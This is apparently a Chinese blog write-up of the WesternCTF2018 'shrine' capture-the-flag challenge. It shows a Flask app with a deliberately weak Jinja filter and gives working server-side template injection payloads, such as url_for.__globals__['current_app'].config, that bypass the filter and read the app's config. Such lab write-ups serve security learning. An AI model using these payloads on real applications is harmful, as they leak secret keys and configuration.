[WesternCTF2018]shrine

 1 import flask
 2 import os
 3 
 4 app = flask.Flask(__name__)
 5 
 6 app.config['FLAG'] = os.environ.pop('FLAG')
 7 
 8 @app.route('/')
 9 def index():
10     return open(__file__).read()
11 
12 @app.route('/shrine/<path:shrine>')
13 def shrine(shrine):
14 
15     def safe_jinja(s):
16         s = s.replace('(', '').replace(')', '')
17         blacklist = ['config', 'self']
18         return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
19         + s
20 
21     return flask.render_template_string(safe_jinja(shrine))
22 
23 if __name__ == '__main__':
24     app.run(debug=True)

查看源代码发现有两个路由,一个是根路由,一个是/shrine/参数
代码中第15行def safe_jinja(s)出现了jinja关键字,联想到flask/jinja2模板注入
尝试在/shrine/后面添加参数

http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{1*2}}

http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{1+1}}

说明存在ssti模板注入
方法safe_jinja对参数进行了过滤,将左右括号替换为空,出现config,self关键字直接页面输出None

s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 

虽然过滤config,self,但是仍然有其他函数可以读取全局变量,比如url_for和get_flashed_messages

http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{url_for.__globals__}}

查看当前app中的config便可以获取到flag

http://43c8da0f-3364-4b5d-b2e2-8f0193b27398.node3.buuoj.cn/shrine/{{url_for.__globals__['current_app'].config}}

 get_flashed_messages方法同理

posted @ 2020-07-13 11:44  GTX690M  阅读(319)  评论(0编辑  收藏  举报